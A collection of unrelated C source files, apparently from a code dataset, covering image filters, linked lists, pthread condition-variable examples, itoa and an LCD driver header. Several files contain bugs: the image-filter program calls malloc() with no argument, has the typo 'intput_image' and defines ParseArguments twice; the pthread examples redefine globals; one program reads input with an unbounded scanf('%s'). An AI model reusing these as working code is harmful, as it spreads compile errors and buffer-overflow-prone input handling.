sumX += Pixel * SobelMatrix[(dy + FILTER_RADIUS) * FILTER_DIAMETER + (dx+FILTER_RADIUS)];
sumY += Pixel * SobelMatrix[(dx + FILTER_RADIUS) * FILTER_DIAMETER + (dy+FILTER_RADIUS)];
}
}
imageOut[i*width + j] = (abs(sumX) + abs(sumY)) > EDGE_VALUE_THRESHOLD ? 255 : 0;
}
}
}
void CPU_Average(unsigned char* imageIn, unsigned char* imageOut, int width, int height)
{
int i, j, rows, cols, startCol, endCol, startRow, endRow;
const float SobelMatrix[9] = {-1,0,1,-2,0,2,-1,0,1};
// const float SobelMatrix[25] = { -1,-2,0,2,1,-4,-8,0,8,4,-6,-12,0,12,6,-4,-8,0,8,4,-1,-2,0,2,1 }; // sobel 5
rows = height;
cols = width;
// Initialize all output pixels to zero
for(i=0; i<rows; i++) {
for(j=0; j<cols; j++) {
imageOut[i*width + j] = 0;
}
}
startCol = 1;
endCol = cols - 1;
startRow = 1;
endRow = rows - 1;
// Go through all inner pizel positions
for(i=startRow; i<endRow; i++) {
for(j=startCol; j<endCol; j++) {
//SUM = 0;
// sum up the 9 values to calculate both the direction x and direction y
float sumX = 0, sumY=0, SUM = 0;
for(int dy = -FILTER_RADIUS; dy <= FILTER_RADIUS; dy++) {
for(int dx = -FILTER_RADIUS; dx <= FILTER_RADIUS; dx++) {
float Pixel = (float)(imageIn[i*width + j + (dy * width + dx)]);
SUM = SUM + Pixel;
}
}
imageOut[i*width + j] = SUM/9;
//SUM = 0.0;
}
}
}
void CPU_Boost(unsigned char* imageIn, unsigned char* imageOut, int width, int height)
{
int i, j, rows, cols, startCol, endCol, startRow, endRow;
//float SUM = 0.0;
int SUM = 0;
const float SobelMatrix[9] = {-1,0,1,-2,0,2,-1,0,1};
// const float SobelMatrix[25] = { -1,-2,0,2,1,-4,-8,0,8,4,-6,-12,0,12,6,-4,-8,0,8,4,-1,-2,0,2,1 }; // sobel 5
rows = height;
cols = width;
// Initialize all output pixels to zero
for(i=0; i<rows; i++) {
for(j=0; j<cols; j++) {
imageOut[i*width + j] = 0;
}
}
startCol = 1;
endCol = cols - 1;
startRow = 1;
endRow = rows - 1;
// Go through all inner pizel positions
for(i=startRow; i<endRow; i++) {
for(j=startCol; j<endCol; j++) {
//float SUM = 0.0;
//SUM = 0;
// sum up the 9 values to calculate both the direction x and direction y
float sumX = 0, sumY=0;
SUM = 0;
for(int dy = -FILTER_RADIUS; dy <= FILTER_RADIUS; dy++) {
for(int dx = -FILTER_RADIUS; dx <= FILTER_RADIUS; dx++) {
float Pixel = (float)(imageIn[i*width + j + (dy * width + dx)]);
SUM = SUM + Pixel;
}
}
SUM = SUM/9;
float px = (float)imageIn[i*width + j];
imageOut[i*width + j] = CLAMP_8bit((int)(px + HIGH_BOOST_FACTOR*(px-SUM)));
//SUM = 0.0;
}
}
}
// Host code
int main(int argc, char** argv)
{
ParseArguments(argc, argv);
float s_SobelMatrix[25];
s_SobelMatrix[0] = 1;
s_SobelMatrix[1] = 2;
s_SobelMatrix[2]= 0;
s_SobelMatrix[3] = -2;
s_SobelMatrix[4] = -1;
s_SobelMatrix[5] = 4;
s_SobelMatrix[6] = 8;
s_SobelMatrix[7] = 0;
s_SobelMatrix[8] = -8;
s_SobelMatrix[9] = -4;
s_SobelMatrix[10] = 6;
s_SobelMatrix[11] = 12;
s_SobelMatrix[12] = 0;
s_SobelMatrix[13] = -12;
s_SobelMatrix[14] = -6;
s_SobelMatrix[15] = 4;
s_SobelMatrix[16] = 8;
s_SobelMatrix[17] = 0;
s_SobelMatrix[18] = -8;
s_SobelMatrix[19] =-4;
s_SobelMatrix[20] =1;
s_SobelMatrix[21] =2;
s_SobelMatrix[22] =0;
s_SobelMatrix[23] =-2;
s_SobelMatrix[24] =-1;
unsigned char *palete = NULL;
unsigned char *data = NULL, *out = NULL;
PPMImage *input_image=NULL, *output_image=NULL;
output_image = (PPMImage *)malloc(sizeof(PPMImage));
input_image = readPPM(PPMInFileL);
printf("Running %s filter\n", Filter);
out = (unsigned char *)malloc();
printf("Computing the CPU output\n");
printf("Image details: %d by %d = %d , imagesize = %d\n", input_image->x, input_image->y, input_image->x * input_image->y, input_image->x * input_image->y);
cutilCheckError(cutStartTimer(time_CPU));
if(FilterMode == SOBEL_FILTER){
printf("Running Sobel\n");
CPU_Sobel(intput_image->data, output_image, input_image->x, input_image->y);
}
else if(FilterMode == HIGH_BOOST_FILTER){
printf("Running boost\n");
CPU_Boost(data, out, dib.width, dib.height);
}
cutilCheckError(cutStopTimer(time_CPU));
if(FilterMode == SOBEL_FILTER || FilterMode == SOBEL_FILTER5)
BitMapWrite("CPU_sobel.bmp", &bmp, &dib, out, palete);
else if(FilterMode == AVERAGE_FILTER)
BitMapWrite("CPU_average.bmp", &bmp, &dib, out, palete);
else if(FilterMode == HIGH_BOOST_FILTER)
BitMapWrite("CPU_boost.bmp", &bmp, &dib, out, palete);
printf("Done with CPU output\n");
printf("CPU execution time %f \n", cutGetTimerValue(time_CPU));
printf("Allocating %d bytes for image \n", dib.image_size);
cutilSafeCall( cudaMalloc( (void **)&d_In, dib.image_size*sizeof(unsigned char)) );
cutilSafeCall( cudaMalloc( (void **)&d_Out, dib.image_size*sizeof(unsigned char)) );
// creating space for filter matrix
cutilSafeCall( cudaMalloc( (void **)&sobel_matrix, 25*sizeof(float)) );
cutilCheckError(cutStartTimer(time_mem));
cudaMemcpy(d_In, data, dib.image_size*sizeof(unsigned char), cudaMemcpyHostToDevice);
cudaMemcpy(sobel_matrix, s_SobelMatrix, 25*sizeof(float), cudaMemcpyHostToDevice);
cutilCheckError(cutStopTimer(time_mem));
FilterWrapper(data, dib.width, dib.height);
// Copy image back to host
cutilCheckError(cutStartTimer(time_mem));
cudaMemcpy(out, d_Out, dib.image_size*sizeof(unsigned char), cudaMemcpyDeviceToHost);
cutilCheckError(cutStopTimer(time_mem));
printf("GPU execution time %f Memtime %f \n", cutGetTimerValue(time_GPU), cutGetTimerValue(time_mem));
printf("Total GPU = %f \n", (cutGetTimerValue(time_GPU) + cutGetTimerValue(time_mem)));
// Write output image
BitMapWrite(BMPOutFile, &bmp, &dib, out, palete);
Cleanup();
}
/****************************************************************** Read PPM Image File to Buffer *************************************************************/
static PPMImage *readPPM(const char *filename)
{
char buff[4];
PPMImage *img;
FILE *fp;
int c, rgb_comp_color;
//open PPM file for reading
fp = fopen(filename, "rb");
if (!fp) {
fprintf(stderr, "Unable to open file '%s'\n", filename);
exit(1);
}
//read image format
if (!fgets(buff, sizeof(buff), fp)) {
perror(filename);
exit(1);
}
//check the image format
if (buff[0] != 'P' || buff[1] != '6') {
fprintf(stderr, "Invalid image format (must be 'P6')\n");
exit(1);
}
//alloc memory form image
img = (PPMImage *)malloc(sizeof(PPMImage));
if (!img) {
fprintf(stderr, "Unable to allocate memory\n");
exit(1);
}
//check for comments
c = getc(fp);
while (c == '#') {
while (getc(fp) != '\n') ;
c = getc(fp);
}
ungetc(c, fp);
//read image size information
if (fscanf(fp, "%d %d", &img->x, &img->y) != 2) {
printf("%d,%d",img->x,img->y);
fprintf(stderr, "Invalid image size (error loading '%s')\n", filename);
exit(1);
}
//read rgb component
if (fscanf(fp, "%d", &rgb_comp_color) != 1) {
fprintf(stderr, "Invalid rgb component (error loading '%s')\n", filename);
exit(1);
}
//check rgb component depth
if (rgb_comp_color!= RGB_COMPONENT_COLOR) {
fprintf(stderr, "'%s' does not have 8-bits components\n", filename);
exit(1);
}
while (fgetc(fp) != '\n') ;
//memory allocation for pixel data
img->data = (PPMPixel*)malloc(img->x * img->y * sizeof(PPMPixel));
if (!img) {
fprintf(stderr, "Unable to allocate memory\n");
exit(1);
}
//read pixel data from file
if (fread(img->data, 3 * img->x, img->y, fp) != img->y) {
fprintf(stderr, "Error loading image '%s'\n", filename);
exit(1);
}
fclose(fp);
return img;
}
/******************************************************************* Write PPM Image to file *******************************************************************/
void writePPM(const char *filename, PPMImage *img)
{
FILE *fp;
//open file for output
fp = fopen(filename, "wb");
if (!fp) {
fprintf(stderr, "Unable to open file '%s'\n", filename);
exit(1);
}
//write the header file
//image format
fprintf(fp, "P6\n");
//comments
//image size
fprintf(fp, "%d %d\n",img->x,img->y);
// rgb component depth
fprintf(fp, "%d\n",RGB_COMPONENT_COLOR);
// pixel data
fwrite(img->data, 3 * img->x, img->y, fp);
fclose(fp);
}
void ParseArguments(int argc, char** argv)
{
int i;
for (i = 0; i < argc; ++i) {
if (strcmp(argv[i], "--file") == 0 || strcmp(argv[i], "-file") == 0) {
PPMInFileL = argv[i+1];
PPMInFileR = argv[i+2];
i = i + 2;
}
if (strcmp(argv[i], "--out") == 0 || strcmp(argv[i], "-out") == 0) {
PPMOutFile = argv[i+1];
i = i + 1;
}
}
}
// Parse program arguments
void ParseArguments(int argc, char** argv)
{
for (int i = 0; i < argc; ++i) {
if (strcmp(argv[i], "--file") == 0 || strcmp(argv[i], "-file") == 0) {
BMPInFile = argv[i+1];
i = i + 1;
}
if (strcmp(argv[i], "--out") == 0 || strcmp(argv[i], "-out") == 0) {
BMPOutFile = argv[i+1];
i = i + 1;
}
if (strcmp(argv[i], "--filter") == 0 || strcmp(argv[i], "-filter") == 0) {
Filter = argv[i+1];
i = i + 1;
if (strcmp(Filter, "sobel") == 0)
FilterMode = SOBEL_FILTER;
else if (strcmp(Filter, "sobel5") == 0)
FilterMode = SOBEL_FILTER5;
else if (strcmp(Filter, "average") == 0)
FilterMode = AVERAGE_FILTER;
else if (strcmp(Filter, "boost") == 0)
FilterMode = HIGH_BOOST_FILTER;
}
}
}
|
C
|
#include <stdlib.h>
/**
* _calloc - allocates memory for an array using calloc
* @nmemb: the amoutn of memory bytes to alocate
* @size: the size per each byte
* Return: pinter to the allocated memory
*/
void *_calloc(unsigned int nmemb, unsigned int size)
{
char *p;
int i = 0;
int s;
s = nmemb * size;
if (nmemb == 0 || size == 0)
return (0);
p = malloc(s);
if (!p)
return (0);
while (s--)
{
p[i] = 0;
i++;
}
return (p);
}
|
C
|
struct Image_Data {
Vector4 * data;
Vector2i size;
r32 exposure;
};
inline void clear_buffer(Image_Data image, Vector4 color) {
s32 pixels_count = image.size.x * image.size.y;
for (s32 i = 0; i < pixels_count; ++i) {
*(image.data + i) = color;
}
}
|
C
|
#ifndef TREE_H
#define TREE_H
#include <stdint.h>
struct treenode {
void *value;
uint32_t key;
struct treenode *left;
struct treenode *right;
};
struct tree {
struct treenode *root;
};
void tree_init(struct tree *t);
void* tree_lookup(struct tree *t, uint32_t key);
void tree_put(struct tree *t, uint32_t key, void *value);
#endif
|
C
|
#include <stdio.h>
int main(){
int A[5][5], i, j, B[5][5];
printf("Digite os 25 elementos da matriz A: ");
for(i = 0; i < 5; i++)
for(j = 0; j < 5; j++)
scanf("%d", &A[i][j]);
for(i = 0; i < 5; i++)
for(j = 0; j < 5; j++)
B[i][j] = A[i][0] * A[0][j] + A[i][1] * A[1][j] + A[i][2] * A[2][j]
+ A[i][3] * A[3][j] + A[i][4] * A[4][j];
for(i = 0; i < 5; i++){
for(j = 0; j < 5; j++)
printf("%d ", B[i][j]);
printf("\n");
}
return 0;
}
/*
OBSERVACAO:
* Para criar o algoritmo para multiplicação de matrizes de ordem 5
* eu primeiro criei um algoritmo de multiplicação para matrizes de
* ordem 2. Daí é só aproveitar o algoritmo observando o padrão e
* aplicar na multiplicacao de uma matriz maior.
*
int i, j, b[2][2] = {{1,2},{3,4}}, A[2][2];
for(i = 0; i < 2; i++)
for(j = 0; j < 2; j++)
A[i][j] = b[i][0] * b[0][j] + b[i][1] * b[1][j];
*/
|
C
|
#include <stdio.h>
int main()
{
char text[100];
int i;
printf("Enter a value: ");
scanf("%s %d", text, &i);
printf("\nYou entered: %s %d", text, i);
return 0;
}
|
C
|
/**
* @file autosampler.h
* @brief Declares functions for ISCO autosampler
* @author Brandon Wong and Matt Bartos
* @version TODO
* @date 2017-06-19
*/
#ifndef AUTOSAMPLER_H
#define AUTOSAMPLER_H
#include <project.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define AUTOSAMPLER_STATE_OFF 0
#define AUTOSAMPLER_STATE_IDLE 1
#define AUTOSAMPLER_STATE_BUSY 3
#define MAX_BOTTLE_COUNT 24
#define PULSE_COUNT 20
extern uint8 autosampler_state;
extern uint8 SampleCount;
/**
* @brief Starts the autosampler UART
*
* @return 1u on success
*/
uint8 autosampler_start();
/**
* @brief Stops the autosampler UART
*
* @return 1u on success
*/
uint8 autosampler_stop();
/**
* @brief Powers on the autosampler
*
* @return 1u on success
*/
uint8 autosampler_power_on();
/**
* @brief Powers off the autosampler
*
* @return 1u on success
*/
uint8 autosampler_power_off();
/**
* @brief Takes a sample with the autosampler and writes current bottle count to @p count
*
* @param count The current bottle count to be updated
*
* @return 1u on success
*/
uint8 autosampler_take_sample(uint8 *count);
/**
* @brief Inserts current values of @p autosampler_trigger and @p bottle_count into labels and readings arrays.
*
* @param labels Array to store labels corresponding to each trigger result
* @param readings Array to store trigger results as floating point values
* @param array_ix Array index to label and readings
* @param autosampler_trigger Current value of autosampler trigger
* @param bottle_count Current bottle count
* @param max_size Maximum size of label and reading arrays (number of entries)
*
* @return (*array_ix) + number of entries filled
*/
uint8 zip_autosampler(char *labels[], float readings[], uint8 *array_ix, int *autosampler_trigger, uint8 *bottle_count, uint8 max_size);
#endif
/* [] END OF FILE */
|
C
|
#include <stdio.h>
int main(){
// Should print the numbers from 0 to 9
for(int a = 0; a < 10; a = a+1){
printf("%d", a);
printf("%s", "; ");
}
return 0;
}
|
C
|
#ifndef _INC_LIST_H
#define _INC_LIST_H
#include <types.h>
#include <utils.h>
struct list_head {
struct list_head *next, *prev;
};
#define LIST_HEAD_INIT(name) { &(name), &(name) }
#define LIST_HEAD(name) \
struct list_head name = LIST_HEAD_INIT(name)
static inline void __list_add(struct list_head *new,
struct list_head *prev,
struct list_head *next)
{
next->prev = new;
new->next = next;
new->prev = prev;
prev->next = new;
}
static inline void list_add(struct list_head *new, struct list_head *head)
{
if (new == NULL || head == NULL)
return;
__list_add(new, head, head->next);
}
static inline void list_add_tail(struct list_head *new, struct list_head *head)
{
if (new == NULL || head == NULL)
return;
__list_add(new, head->prev, head);
}
static inline void __list_del(struct list_head *prev, struct list_head *next)
{
next->prev = prev;
prev->next = next;
}
static inline void list_del(struct list_head *entry)
{
if (entry == NULL || entry->prev == NULL || entry->next == NULL)
return;
__list_del(entry->prev, entry->next);
entry->prev = NULL;
entry->next = NULL;
}
static inline void list_replace(struct list_head *old, struct list_head *new)
{
if (old == NULL || new == NULL)
return;
new->prev = old->prev;
new->next = old->next;
new->prev->next = new;
new->next->prev = new;
old->next = NULL;
old->prev = NULL;
}
static inline void list_move(struct list_head *list, struct list_head *head)
{
if (list == NULL || head == NULL)
return;
list_del(list);
list_add(list, head);
}
static inline void list_move_tail(struct list_head *list, struct list_head *head)
{
if (list == NULL || head == NULL)
return;
list_del(list);
list_add_tail(list, head);
}
static inline int list_is_last(struct list_head *list, struct list_head *head)
{
return list->next == head;
}
static inline int list_empty(struct list_head *head)
{
return head->next == head;
}
/**
* list_entry - get the struct for this entry
* @ptr: the &struct list_head pointer.
* @type: the type of the struct this is embedded in.
* @member: the name of the list_head within the struct.
*/
#define list_entry(ptr, type, member) \
container_of(ptr, type, member)
/**
* list_first_entry - get the first element from a list
* @ptr: the list head to take the element from.
* @type: the type of the struct this is embedded in.
* @member: the name of the list_head within the struct.
*
* Note, that list is expected to be not empty.
*/
#define list_first_entry(ptr, type, member) \
list_entry((ptr)->next, type, member)
/**
* list_last_entry - get the last element from a list
* @ptr: the list head to take the element from.
* @type: the type of the struct this is embedded in.
* @member: the name of the list_head within the struct.
*
* Note, that list is expected to be not empty.
*/
#define list_last_entry(ptr, type, member) \
list_entry((ptr)->prev, type, member)
/**
* list_first_entry_or_null - get the first element from a list
* @ptr: the list head to take the element from.
* @type: the type of the struct this is embedded in.
* @member: the name of the list_head within the struct.
*
* Note that if the list is empty, it returns NULL.
*/
#define list_first_entry_or_null(ptr, type, member) ({ \
struct list_head *head__ = (ptr); \
struct list_head *pos__ = head__->next; \
pos__ != head__ ? list_entry(pos__, type, member) : NULL; \
})
/**
* list_next_entry - get the next element in list
* @pos: the type * to cursor
* @member: the name of the list_head within the struct.
*/
#define list_next_entry(pos, member) \
list_entry((pos)->member.next, typeof(*(pos)), member)
/**
* list_prev_entry - get the prev element in list
* @pos: the type * to cursor
* @member: the name of the list_head within the struct.
*/
#define list_prev_entry(pos, member) \
list_entry((pos)->member.prev, typeof(*(pos)), member)
/**
* list_for_each - iterate over a list
* @pos: the &struct list_head to use as a loop cursor.
* @head: the head for your list.
*/
#define list_for_each(pos, head) \
for (pos = (head)->next; pos != (head); pos = pos->next)
/**
* list_for_each_prev - iterate over a list backwards
* @pos: the &struct list_head to use as a loop cursor.
* @head: the head for your list.
*/
#define list_for_each_prev(pos, head) \
for (pos = (head)->prev; pos != (head); pos = pos->prev)
/**
* list_for_each_entry - iterate over list of given type
* @pos: the type * to use as a loop cursor.
* @head: the head for your list.
* @member: the name of the list_head within the struct.
*/
#define list_for_each_entry(pos, head, member) \
for (pos = list_first_entry(head, typeof(*pos), member); \
&pos->member != (head); \
pos = list_next_entry(pos, member))
/**
* list_for_each_entry_reverse - iterate backwards over list of given type.
* @pos: the type * to use as a loop cursor.
* @head: the head for your list.
* @member: the name of the list_head within the struct.
*/
#define list_for_each_entry_reverse(pos, head, member) \
for (pos = list_last_entry(head, typeof(*pos), member); \
&pos->member != (head); \
pos = list_prev_entry(pos, member))
#endif /* _INC_LIST_H */
|
C
|
#include <stdio.h>
#include <limits.h>
#define MAXLINE 20
void myitoa(int n, char s[]);
void strreverse(char s[]);
int len(char s[]);
int main()
{
int num = INT_MIN + 1;
char s[MAXLINE];
myitoa(num, s);
printf("%s\n", s);
return 0;
}
/* myitoa : converts a number to a string */
void myitoa(int n, char s[])
{
int i, sign, min;
i = 0;
min = 0;
sign = 1;
if (n < 0) {
sign = -1;
if (n == INT_MIN) {
min = 1;
n = INT_MAX;
}
else
n = -n;
}
do {
s[i++] = n % 10 + '0';
} while ((n /= 10) > 0);
/* INT_MAX and INT_MIN differ by one in the units place when absolute value is taken */
if (min == 1)
s[0] = s[0] + 1;
if (sign < 0)
s[i++] = '-';
s[i] = '\0';
strreverse(s);
}
/* strreverse : reverse the input string */
void strreverse(char s[])
{
int i, j, temp;
for (i = 0, j = len(s) - 1; i < j; ++i, --j) {
temp = s[i];
s[i] = s[j];
s[j] = temp;
}
}
/* len : returns string length */
int len(char s[])
{
int i;
for ( i = 0; s[i] != '\0'; ++i);
return i;
}
|
C
|
#include <stdio.h>
#define OUT 0 //снаружи слова
#define IN 1 //внутри слова
int c, i;
/*
word - слов
symbol - символов
prev - предыдущий символ
*/
int w = 0;
int s = 0;
int p = 0;
int symbol[20];
int main()
{
for (i = 0; i < 20; ++i)
symbol[i] = 0;
while ((c = getchar()) != EOF)
if (c == ' ' || c == '\t' || c == '\n')
{
++symbol[s - 1];
p = OUT;
w = s;
s = 0;
}
else
{
p = IN;
++s;
}
//printf(" %d\n %d\n", s, w);
for (i = 0; i < 20; ++i)
printf("% d", symbol[i]);
printf("\n");
}
|
C
|
/*Programe to implement SINGLY LINKEDLIST*/
#include<stdio.h>
#include<stdlib.h>
void insert(int);
void delete(int);
void display(void);
void search(int);
struct Node
{
int data;
struct Node *next;
};
typedef struct Node node;
node *head=NULL,*curr=NULL;
int main()
{
int ch,item,m;
do
{
printf("\n\n\tMenu\n\t------\n1.Insertion\n2.Deletion\n3.Search\n4.Display\n5.Exit\nEnter your choice:");
scanf("%d",&ch);
switch(ch)
{
case 1: printf("\nEnter the data to insert\n");
scanf("%d",&item);
insert(item);
break;
case 2: printf("\nEnter the data item to delete\n");
scanf("%d",&item);
delete(item);
break;
case 3: printf("\nEnter the data item to be search\n");
scanf("%d",&item);
search(item);
break;
case 4: display();
break;
case 5: break;
}
}while(ch!=5);
}
void insert(int item)
{
node *newnode;
newnode=(node *)malloc(sizeof(node)); //allocating memory to new node
newnode->data=item; //insert the item at the data field part
newnode->next=NULL; //insert null value at the end part
if(head==NULL)
{
head=newnode; //curr is the pointer pointing the last node of the list
curr=head;
}
else
{
curr->next=newnode;
curr=newnode;
}
}
void delete(int item)
{
node *nnode,*temp;
if(head==NULL) //if nothing in the linked list print list is empty
{
printf("The List is Empty\n");
return;
}
if(head->data==item) //search the item in the first postion
{
temp=head;
head=head->next;
free(temp);
return;
}
nnode=head;
while(nnode->next->next!=NULL) //search the item in the middle position
{
if(nnode->next->data==item)
{
temp=nnode->next; //if found move that element to a temporary node
nnode->next=temp->next;
free(temp);
printf("The data %d is deleted\n",item);
return;
}
else
{
nnode=nnode->next;
}
}
if(nnode->next->data==item) //search the data in the last position
{
temp=nnode->next;
nnode->next=NULL;
free(temp);
printf("The data %d is deleted\n",item);
return;
}
printf("The data %d is not found in the list\n",item);
return;
}
void search(int item)
{
node *nnode;
nnode=head;
while(nnode)
{
if(nnode->data==item) //if item found print node found else print not found
{
printf("The data %d is found in the list\n",item);
return;
}
nnode=nnode->next;
}
printf("The data %d is not found in the list\n",item);
}
void display()
{
node *nnode;
if(head==NULL)
{
printf("Empty list\n"); //print all the data in the list
return;
}
nnode=head;
while(nnode)
{
printf("%d->",nnode->data);
nnode=nnode->next;
}
}
|
C
|
#include "main.h"
#include "stack.h"
linkedList *pushNode(char *name,linkedList *stackTop)
{
linkedList *new;
new=(linkedList*)malloc(sizeof(linkedList));
if (!new) {
perror("new_item");
exit(1);
}
if (name) {
new->name = strdup(name);
if (!new->name) {
perror("new_item");
exit(1);
}
}
new->next=stackTop;
stackTop=new;
return stackTop;
}
linkedList *popNode(char *popedNodeName,linkedList *stackTop){
linkedList *p=stackTop;
if(stackTop==NULL){
popedNodeName='\0';
return NULL;
}
popedNodeName=strdup(stackTop->name);
if (!popedNodeName) {
perror("popNode");
exit(1);
}
stackTop=stackTop->next;
free(p->name);
free(p);
return stackTop;
}
void print_list(linkedList *node){
if(node==NULL){
return;
}
printf("%s\n",node->name);
print_list(node->next);
return;
}
/*
void r_print_list(linkedList *node){
if(node==NULL)
return;
print_list(node->next);
printf("%s\n",node->name);
return;
}*/
void clear_list(linkedList *node){
if(node==NULL)
return;
clear_list(node->next);
free(node->name);
free(node);
}
|
C
|
#include<stdio.h>
unsigned long long gcd(unsigned long long a ,unsigned long long b)
{
if(b==0)
return a;
else
return gcd(b,a%b);
}
main()
{
int test;
scanf("%d",&test);
unsigned long long n,k;
unsigned long long ans;
unsigned long long i;
unsigned long long d,temp,temp1;
while(test--)
{
scanf("%llu",&n);
scanf("%llu",&k);
if(n<k)
{
printf("0\n");
continue;
}
ans=1;
if(k>n-k)
k=n-k;
for(i=1;i<=k;++i)
{
if(ans>=i)
d=gcd(ans,i);
else
d=gcd(i,ans);
// printf("%lld\n",d);
ans=ans/d;
// temp=i/d;
// temp1=(n-i+1)/temp;
ans=ans*((n-i+1)/(i/d));
}
printf("%llu\n",ans);
}
}
|
C
|
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
// ===== Esempi di uso delle condition variables ====
// Nota: le funzioni che utilizzano le condition variables
// pthread_cond_init
// pthread_cond_wait
// pthread_cond_signal
// pthread_cond_broadcast
// tutte restituiscono un intero che e' 0 se non ci sono stati errori,
// altrimenti restituiscono il codice dell'errore (come le funzioni
// che utilizzano i mutex).
// ======== Esempio 1
// Uso di una Condition Variable per gestione di un heap di memoria
// !!!! Orribili variabili globali.
// !!!! Nei programmi veri li mettiamo tutti insieme in una struct
// numero iniziale di bytes disponibili
#define MAX_HEAP_SIZE 100000
int bytesLeft = MAX_HEAP_SIZE;
// lock and condition variable usate insieme
pthread_cond_t c = PTHREAD_COND_INITIALIZER;
pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;;
// prototipi funzioni per allocazione e deallocazione memoria
// il codice non fornito
void *get_heapmemory(int);
void free_heapmemory(void *);
// la cv c e' protetta dal mutex m e si riferisce alla variabile bytesLeft
// chiunque modifica byteLeft deve farlo sotto il lock di m
// per mettersi in attesa del segnale c o per mandare il segnale c
// si deve essere sotto il lock m
// funzione chiamata da ogni thread che ha bisogno di memoria
// se non c'e' abbastanza memoria attende che se ne liberi
void * allocate(int size) {
pthread_mutex_lock(&m);
while (bytesLeft < size)
// aspetto che qualcuno attraverso c indichi che ci sono novita' su byteLeft
pthread_cond_wait(&c, &m); // il mutex viene rilascato dalla cond_wait
// all'uscita della cond_wait il mutex e' ottenuto
void *ptr = get_heapmemory(size); // ottiene il puntatore alla zona di memoria
bytesLeft -= size; // aggiorna byteLeft
pthread_mutex_unlock(&m);
return ptr;
}
// funzione chiamata da ogni thread che restituisce della memoria
void free_mem(void *ptr, int size) {
pthread_mutex_lock(&m);
free_heapmemory(ptr); // restituisce la memoria usata
bytesLeft += size; // modifico byteLeft sotto mutex
// tutti quelli che stanno aspettando su c sono avvertiti ...
pthread_cond_broadcast(&c); // ... ma non partono subito perche' c'e' il mutex
pthread_mutex_unlock(&m); // rilascio mutex
}
// ===== Esempio 2 ==================
// Condition variable usata per realizzare un reader/writer lock
// !!!! Orribili variabili globali
// numero di reader e scrittura in corso
int readers=0;
bool writing=false;
// condition variable e mutex associato
pthread_cond_t c = PTHREAD_COND_INITIALIZER;
pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;;
// in questo esempio m e c si riferiscono alle due variabili
// readers e writing. Chi le cambia deve eseguire il lock su m e se
// sono state liberate delle risorse deve mandare il segnale attarverso c
// I thread che devono eseguire un lock ma non possono farlo devono mettersi in wait su c
void read_lock()
{
pthread_mutex_lock(&m);
while(writing)
pthread_cond_wait(&c, &m); // attende fine scrittura
readers++;
pthread_mutex_unlock(&m);
}
void read_unlock()
{
pthread_mutex_lock(&m);
readers--; // cambio di stato
if(readers==0) pthread_cond_signal(&c); // da segnalare ad un solo writer
pthread_mutex_unlock(&m);
}
void write_lock()
{
pthread_mutex_lock(&m);
while(writing || readers>0)
pthread_cond_wait(&c, &m); // attende fine scrittura o lettura
writing = true;
pthread_mutex_unlock(&m);
}
void write_unlock()
{
pthread_mutex_lock(&m);
writing=false; // cambio stato
pthread_cond_broadcast(&c); // da segnalare a tutti quelli in attesa
pthread_mutex_unlock(&m);
}
// ======= Esempio 3
// Realizzazione di un semaforo usando mutex+condition variable
// il semaforo blocca solo sullo 0
// la condition var e' solo un segnale quindi il modo di bloccare
// dipende dal test prima del cond_ wait quindi puo' essere piu' generale
// un semaforo si puo' realizzare con mutex + condition var
// come mostrato qui sotto
// realizzazione di un semaforo mediante Mutex + CV
typedef struct {
int tot; // valore del semaforo, non deve mai diventare negativo
pthread_cond_t cond; // condition variable
pthread_mutex_t mutex; // mutex associatcondition variable
} zem;
// inzializza semaforo al valore q
void zem_init(zem *z, int q)
{
z->tot = q;
pthread_cond_init(&z->cond,NULL);
pthread_mutex_init(&z->mutex,NULL);
}
// analoga alla sem_wait
void zem_down(zem *z, int q)
{
pthread_mutex_lock(&z->mutex);
while(z->tot-q<0)
pthread_cond_wait(&z->cond,&z->mutex);
z->tot -= q;
pthread_mutex_unlock(&z->mutex);
}
// analoga alla sem_post
void zem_up(zem *z, int q)
{
pthread_mutex_lock(&z->mutex);
z->tot+=q;
pthread_cond_broadcast(&z->cond);
pthread_mutex_unlock(&z->mutex);
}
|
C
|
/* ************************************************************************** */
/* */
/* :::::::: */
/* ft_lst_addback.c :+: :+: */
/* +:+ */
/* By: salbregh <salbregh@student.codam.nl> +#+ */
/* +#+ */
/* Created: 2021/01/18 15:48:30 by salbregh #+# #+# */
/* Updated: 2021/02/04 12:28:35 by salbregh ######## odam.nl */
/* */
/* ************************************************************************** */
#include "../minishell.h"
void ft_lstadd_back(t_list **alst, t_list *new)
{
t_list *first;
if (alst == NULL || new == NULL)
return ;
if (*alst == NULL)
*alst = new;
first = *alst;
while (first->next != NULL)
first = first->next;
first->next = new;
new->next = NULL;
}
/*
** list functions used in new parser
** lets see if we can make this to one
*/
void ft_lstadd_back_new(t_base **ptr, t_base *new)
{
t_base *tmp;
if (!(*ptr))
*ptr = new;
else
{
tmp = *ptr;
while (tmp->next)
tmp = tmp->next;
tmp->next = new;
new->prev = tmp;
}
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIZE 111
int main()
{
int N;
char S[SIZE];
scanf("%d", &N);
scanf("%s", S);
int a_list[26][1];
for(int i = 0; i < 26; i++)
a_list[i][0] = -1;
for(int i = 0; i < strlen(S); i++)
{
if(a_list[S[i] - 'a'][0] > -1)
continue;
a_list[S[i] - 'a'][0] = i;
}
for(int i = 0; i < 26; i++)
printf("%d ", a_list[i][0]);
return 0;
}
|
C
|
/*
* pcd8544.c - functions for work with display controller
*
* Copyright 2015 Edward V. Emelianoff <eddy@sao.ru, edward.emelianoff@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
/*
* we have two modes: direct write into LCD (with local buffer update) - for text
* and refresh whole buffer - for graphics
* all writings are in horizontal addressing mode
*/
#include "pcd8544.h"
// here should be functions spiWrite(U8 *data, bufsz_t size) & spi_write_byte(U8 onebyte)
// max SPI speed is 4MHz
#include "spi.h"
/* here are functions & macros for changing command pins state:
